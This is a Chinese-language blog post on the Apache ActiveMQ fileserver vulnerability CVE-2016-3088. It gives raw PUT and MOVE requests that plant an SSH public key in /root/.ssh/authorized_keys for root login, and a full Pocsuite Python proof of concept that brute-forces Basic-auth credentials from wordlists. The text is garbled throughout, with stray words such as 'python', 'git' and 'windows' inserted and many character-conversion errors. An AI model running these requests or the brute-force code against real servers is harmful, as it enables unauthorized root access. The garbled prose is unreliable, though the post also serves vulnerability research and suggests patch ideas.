该漏洞被发布在http://cve.scap.org.cn/CVE-2016-3088.html,官方发布的位置是http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txthtml
按照官方说法影响版本为python
Apache ActiveMQ 5.0.0 - 5.13.2
按照官网的说法该漏洞是由于开启了filesever服务,用户能够进行任意文件上传,进而达到任意代码执行的目的。通过本人对该漏洞的研究发现,漏洞的主要成由于两步,第一步使用PUT方法上传文件,第二步使用MOVE方法进行文件移动,这两步缺了一步都不能实现远程代码执行的目的。linux
通过本人对activemq5.0.0,5.10.0,5.10.1,5.11.0,5.11.1,5.11.2windows版本的测试,和5.12.2的linux版本进行测试,发现使用put进行文件上传通常都可以成功,可是使用move进行文件移动不能移动到web目录下,大部分能够移动到系统目录下,可是也有不肯定性,而且存在有时候须要auth验证,有时候不须要auth验证的状况。所以验证过程须要修改系统文件不存在无伤验证的方式,故这里的验证只是验证文件可否上传,若是能上传则认为存在该漏洞。git
验证使用的http报文为github
PUT /fileserver/x.txt HTTP/1.1 Host: 127.0.0.1:8161 Content-Length: 2 11
若是须要auth验证那么加上auth头web
Authorization: Basic base64(admin:admin)
这里须要主要Basic后面的内容须要作base64编码,内容为用户名:密码apache
由于大部分版本不能MOVE到fileserver的web目录,因此在利用过程当中通常能够尝试爆web服务的操做系统目录进行文件上传和更名,在linux系统下能够直接覆盖/root/.ssh/authorized_keys文件,将本身的公钥传到这个位置进行ssh免密码登陆,由于大多数版本不能直接MOVE到fileserver的web目录,因此这个漏洞利用起来须要其余的信息。下面介绍一下使用ssh免密码登陆的利用方式。windows
第一步PUT公钥到fileserver的web目录服务器
PUT /fileserver/rsa_pub HTTP/1.1 Host: 127.0.0.1:8161 Content-Length: 167 ssh-rsa AAAABsxxxxADAQABAAABAQDxxxxDtwjkzf5YbYOnMvUxxxX1sU/d+WtSxx+6RGeL+qIp2AGJVB6M0qHF+OEWubBIlxxxhMd53tRhnTJFiApj413SBxxxxxxxxxT+mgSnGmjh1y+VOhnOhxxVfqU7/ johnxxx
第二步MOVE公钥到.ssh/authorized_keys文件中app
MOVE /fileserver/rsa_pub HTTP/1.1 Host: 127.0.0.1:8161 Destination: file:///root/.ssh/authorized_keys
这样使用本身的ssh客户端就能够进行登陆了,生成公钥的方式自行百度。
按照官网的说法老版本不可以使用fileserver服务,按照个人理解新版本能不用就不用,而且在新版本中没看到fileserver服务,因此默认是取消了该服务,期待有人可以研究源码作出更好的补丁。补丁的下手方式可使禁用MOVE方法,或者不容许MOVE方法MOVE到可执行的目录,和操做系统目录。
本文贴出使用知道创宇的pocsuite写出来的POC
#!/usr/bin/python # -*- coding: utf-8 -*- # If you have issues about development, please read: # https://github.com/knownsec/Pocsuite/blob/master/docs/CODING.md # https://github.com/knownsec/Pocsuite/blob/master/docs/COPYING from pocsuite.net import req from pocsuite.poc import POCBase, Output from pocsuite.utils import register import urllib2 import random import base64 # custom 301 and 302 redirection, disallow urllib2 perform automatic redirection class RedirctHandler(urllib2.HTTPRedirectHandler): def http_error_301(self, req, fp, code, msg, headers): pass; def http_error_302(self, req, fp, code, msg, headers): pass; def init(): debug_handler = urllib2.HTTPHandler(debuglevel=0) proxy_handler = urllib2.ProxyHandler({}); opener = urllib2.build_opener(debug_handler, RedirctHandler, proxy_handler) urllib2.install_opener(opener); class TestPOC(POCBase): name = 'CVE-2016-3088-activemq-fileserver-put' vulID = '78176' # https://www.seebug.org/vuldb/ssvid-78176 author = ['kongzhen'] vulType = 'file-upload' version = '0.1' # default version: 1.0 references = ['null'] desc = '''The vulnerability is caused miss configuration of activemq fileserver.''' vulDate = '2016-11-10' createDate = '2016-11-10' updateDate = '2016-11-10' appName = 'activemq' appVersion = 'Apache Group ActiveMQ 5.0.0 - 5.13.2' appPowerLink = '' samples = [''] inited = False; def _attack(self): '''attack mode''' return self._verify() def method_put(self, header, url, content): request = urllib2.Request(url); request.get_method = lambda:"PUT"; for key in header.keys(): request.addheader(key, header.get(key)); resp = None; success = False; try: resp = urllib2.urlopen(request, content); if resp.code >= 200 and resp.code < 300: success = True; else: success = False; except urllib2.URLError, e: if hasattr(e, "code") or hasattr(e, "reson"): success = False; finally: if resp: resp.close(); return success; def method_move(self, header, url): request = urllib2.Request(url); request.get_method = lambda:"MOVE"; for key in header.keys(): request.add_header(key, header.get(key)); resp = None; success = False; try: resp = urllib2.urlopen(request, content); if resp.code >= 200 and resp.code < 300: success = True; else: success = False; except urllib2.URLError, e: if hasattr(e, "code") or hasattr(e, "reson"): success = False; finally: if resp: resp.close(); return success; def method_get(self, header, url): request = urllib2.Request(url); for key in header.keys(): request.add_header(key, header.get(key)); resp = None; success = False; content = None; try: resp = urllib2.urlopen(request, content); if resp.code >= 200 and resp.code < 300: success = True; content = resp.read(); else: success = False; except urllib2.URLError, e: if hasattr(e, "code") or hasattr(e, "reson"): success = False; finally: if resp: resp.close(); return {"success":success, "content":content}; def _verify(self): url = self.url + '/fileserver/cve2016-3088test'; content = "cve2016-3088test"; urlmagic = "-magic%s"%(str(random.randint(0, 100))); put_status = self.method_put({}, url+urlmagic, content) ; tmp = self.method_get({}, url+urlmagic) get_status = tmp["success"] and tmp["content"].find(content) != -1; if put_status and get_status: result = {}; result['VerrifyInfo'] = {}; result['VerrifyInfo']['URL'] = self.url return self.parse_output(result); password_file = "pocsuite/data/password-top100.txt"; username_file = "pocsuite/data/username-top100.txt"; fusername = open(username_file); fpassword = open(password_file); authorazation_header = None; valid_user_password = None; for username in fusername.readlines(): for password in fpassword.readline(): username = username.replace("\n", ""); username = username.replace("\r", ""); pasword = password.replace("\n", ""); pasword = password.replace("\r", ""); if self.method_put({"Authorization":"Basic %s"%(base64.b64encode("%s:%s"%(username, password)))}, url+urlmagic, content): authorazation_header = {"Authorization":"Basic %s"%(base64.b64encode("%s:%s"%(username, password)))} valid_user_password = "%s:%s"%(username,password); break; if authorazation_header == None: result = None; return self.parse_output(result); else: tmp = self.method_get(authorazation_header, url+urlmagic); if tmp["success"] and tmp["content"].find(content) != -1: result = {}; result['VerrifyInfo'] = {}; result['VerrifyInfo']['URL'] = self.url result['VerrifyInfo']['Postdata'] = valid_user_password; return self.parse_output(result); #never reached def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('Internet nothing returned') return output register(TestPOC)
该漏洞因为须要其余的信息,而且官方的不一样版本存在不能稳定put和move的状况,不一样服务器存在不一样配置的状况,因此相对鸡肋。可是几个信息一旦结合危害比较大。